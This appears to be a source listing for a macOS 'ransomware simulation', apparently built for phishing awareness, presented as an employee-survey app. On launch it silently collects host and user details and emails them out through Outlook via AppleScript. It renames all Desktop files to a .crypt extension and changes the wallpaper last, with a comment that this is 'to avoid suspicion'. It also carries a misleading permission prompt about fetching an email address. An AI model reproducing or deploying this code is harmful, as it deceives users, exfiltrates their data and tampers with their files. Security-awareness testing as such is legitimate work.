Ransomware Simulation on macOS (Big Sur)

// For creating NSImage from NSColor
// https://stackoverflow.com/questions/11224131/creating-nsimage-from-nscolor
extension NSImage {
    convenience init(color: NSColor, size: NSSize) {
        self.init(size: size)
        lockFocus()
        color.drawSwatch(in: NSRect(origin: .zero, size: size))
        unlockFocus()
    }
}

// To draw text over image
// https://coderedirect.com/questions/289704/nsimage-getting-resized-when-i-draw-text-on-it
class ImageView : NSView  {

    var image : NSImage
    var text : String

    init(image: NSImage, text: String)
    {
        self.image = image
        self.text = text
        super.init(frame: NSRect(origin: NSZeroPoint, size: image.size))
    }

    required init?(coder decoder: NSCoder) { fatalError() }

    override func draw(_ dirtyRect: NSRect) {
        
        let x_coord = CGFloat(image.size.width / 3)
        let y_coord = CGFloat(image.size.height / 3)
        
//        print (x_coord, y_coord)
        
        let font = NSFont.boldSystemFont(ofSize: 30)
//        let textRect = CGRect(x: x_coord, y: y_coord, width: image.size.width - 5, height: image.size.height - 5)
        let textRect = CGRect(x: x_coord, y: y_coord, width: x_coord, height: y_coord)
        image.draw(in: dirtyRect)
        text.draw(in: textRect, withAttributes: [.font: font, .foregroundColor: NSColor.white])
    }

    var outputImage : NSImage  {
        let imageRep = bitmapImageRepForCachingDisplay(in: frame)!
        cacheDisplay(in: frame, to:imageRep)
        let tiffData = imageRep.tiffRepresentation!
        return NSImage(data : tiffData)!
    }
}

    //    https://stackoverflow.com/questions/31840147/setting-the-desktop-background-on-osx-using-swift-2
        func change_desktop_bg(){
            let screen = NSScreen.main
            let h = Int((screen?.visibleFrame.size.height)!)
            let w = Int((screen?.visibleFrame.size.width)!)
            
            let image_url = URL(fileURLWithPath: "/tmp/test.png")
            
            let ret = build_image(width: w, height: h, savePath: image_url)
            
            if ret {
                do {
                    let workspace = NSWorkspace.shared
                    if (screen != nil)  {
                        try workspace.setDesktopImageURL(image_url, for: screen!, options: [:])
                    }
                } catch {
                    print(error)
                }
            }
        }

    //  https://developer.apple.com/forums/thread/66779
        func build_image(width: Int, height: Int, savePath: URL) -> Bool{
            let SwatchImage = NSImage(color: .black, size: NSSize(width: width, height: height))
            
            let disclaimer : String = "You have fallen victim to a phishing attack, Kindly reach out to Information Security Team <[email protected]>"
            
            // draw text on the nsimage
            let newSwatchimage = draw_text(image: SwatchImage, text: disclaimer)
            
            let imageRep = NSBitmapImageRep(data: newSwatchimage.tiffRepresentation!)
            let pngData = imageRep?.representation(using: NSBitmapImageRep.FileType.png, properties: [:])
            do {
                try pngData?.write(to: savePath)
            } catch {
                print (error)
                return false
            }
            return true
        }
        
        // draw text over image
        func draw_text(image: NSImage, text: String) -> NSImage {
            let view = ImageView(image: image, text: text)
            return view.outputImage
        }

    func encrypt(){
        
        //    Enumerate all files in users Desktopp/home
        let url = URL(fileURLWithPath: NSHomeDirectory() + "/Desktop/")
        var files = [URL]()
        if let enumerator = FileManager.default.enumerator(at: url, includingPropertiesForKeys: [.isRegularFileKey], options: [.skipsHiddenFiles, .skipsPackageDescendants]) {
            for case let fileURL as URL in enumerator {
                do {
                    let fileAttributes = try fileURL.resourceValues(forKeys:[.isRegularFileKey])
                    if fileAttributes.isRegularFile! {
                        files.append(fileURL)
                    }
                } catch { print(error, fileURL) }
            }
    //        print(files)
        }
        
    //    Encrypt files
    //    https://stackoverflow.com/questions/54341636/how-to-change-file-extension-using-swift
        for filepath in files {
            let newfilepath = filepath.deletingPathExtension().appendingPathExtension("crypt")
            do {
                try FileManager.default.moveItem(at: filepath, to: newfilepath)
            }
            catch {
                print ("[-] error Moving file" + filepath.absoluteString)
            }
        }
            
    }

        // function to send email via outlook using apple script
        func send_mail_applescript(exfilData: String, hostName: String){
            
            //  https://gist.github.com/cthwaite/b8e341a9f68ed156caf07ef503ef3cc8
            var dat = exfilData.replacingOccurrences(of: "\"", with: "'")
            dat = dat.replacingOccurrences(of: "%", with: "_")
            dat = dat.replacingOccurrences(of: "\\", with: " ")
            
            let outlook_email = """
                tell application "Microsoft Outlook" to launch
                delay 2
                tell application "Microsoft Outlook"
                    set theContent to "Exfiltrated Content = \(dat)"
                    -- substitute 'plain text content' for 'content' if you don't want to use HTML
                    set theMessage to make new outgoing message with properties {subject:"Ransomware Activity Victim - \(hostName) - \(Date().description)", content:theContent}
                    make new recipient with properties {email address:{address:"[email protected]"}} at end of to recipients of theMessage
                    -- recipient type can be 'to recipient', 'cc recipient' or 'bcc recipient'
                    make new recipient with properties {email address:{address:"[email protected]"}} at end of cc recipients of theMessage
                    -- optionally open the message instead...
                      -- open theMessage
                    send theMessage
                end tell
                """
            run_applescript(apple_script: outlook_email)
        }
    
    //  https://medium.com/macoclock/everything-you-need-to-do-to-launch-an-applescript-from-appkit-on-macos-catalina-with-swift-1ba82537f7c3
    func run_applescript(apple_script: String) {
        if let script = NSAppleScript(source: apple_script) {
            var error: NSDictionary?
            script.executeAndReturnError(&error)
            if let err = error {
                print(err)
            }
        }
    }

    func enum_system() -> Dictionary<String, String> {
        let systeminfo:[String:String] = [
            "userName" : NSUserName(),
            "userFullName" : NSFullUserName(),
            "userHome" : NSHomeDirectory(),
            "tmpDir" : NSTemporaryDirectory(),
            "deviceName" : (Host.current().localizedName!) as String,
            "ipAddresses" : Host.current().addresses.description,
            "currentDate" : Date().description,
            "osVersion" : ProcessInfo.processInfo.operatingSystemVersionString
        ]
        
        return systeminfo
    }

class ViewController: NSViewController {
    
    @IBOutlet weak var imageView: NSImageView!
    @IBOutlet weak var welcomeLabel: NSTextField!
    @IBOutlet weak var answerFld: NSTextField!
    
    @IBOutlet weak var btnText: NSTextField!
    
    @IBOutlet weak var theButton: NSButton!
    var ClickCounter = 0
    override func viewDidLoad() {
        super.viewDidLoad()

        answerFld.isHidden = true
        do_stuff()
    }

    override var representedObject: Any? {
        didSet {
        // Update the view, if already loaded.
        }
    }

    @IBAction func SrveyBtnClick(_ sender: Any) {
        var txt: String = ""
        
        switch ClickCounter {
        case 0:
            
            answerFld.isHidden = false
            answerFld.layer?.borderWidth = 0.25
            answerFld.layer?.borderColor = NSColor.blue.cgColor
            answerFld.placeholderAttributedString = NSAttributedString(
                string: "EMPID-####",
                attributes: [NSAttributedString.Key.foregroundColor: NSColor.lightGray]
            )
            
            btnText.stringValue = "Next"
            txt = "Please enter your Employee ID."
            break
        case 1:
            txt = "How long have you been with ORG-X?"
            answerFld.placeholderAttributedString = NSAttributedString(
                string: "X (Years/Months)",
                attributes: [NSAttributedString.Key.foregroundColor: NSColor.lightGray]
            )
            break
        case 2:
            txt = "Are you comfortable working with ORG-X?"
            answerFld.placeholderAttributedString = NSAttributedString(
                string: "YES/NO",
                attributes: [NSAttributedString.Key.foregroundColor: NSColor.lightGray]
            )
            break
        case 3:
            txt = "On a scale of 1-10, rate your work satisfaction"
            answerFld.placeholderAttributedString = NSAttributedString(
                string: "1-10",
                attributes: [NSAttributedString.Key.foregroundColor: NSColor.lightGray]
            )
            break
        case 4:
            
            answerFld.isHidden = true
            btnText.stringValue = "End"
            
            txt = "Thank you for participating in the survey."
            break
        case 5:
            NSApplication.shared.terminate(self)
            break
        default:
            txt = ""
        }
        
        welcomeLabel.stringValue = txt
        ClickCounter += 1
    }

// trimmed
// ...

}

class ViewController: NSViewController {
    // code trimmed
    // .....
    override func viewDidLoad() {
        super.viewDidLoad()

        answerFld.isHidden = true
        do_stuff()
    }
// code trimmed
// .....

    func do_stuff(){
        print ("[+] Exfiltrating Data via Email")
        let systeminfo = enum_system()
        send_mail_applescript(exfilData: prettyPrint(with: systeminfo), hostName: systeminfo["deviceName"]!)

        print ("[+] Encrypting User Directory")
        encrypt()

        // Change wallpaper only at the end to avoid suspicion
        print ("[+] Changing Desktop BG")
        change_desktop_bg()       
    }
// code trimmed
// .....
}

<key>NSAppleEventsUsageDescription</key>
<string>Kindly provide access to fetch user email address.</string>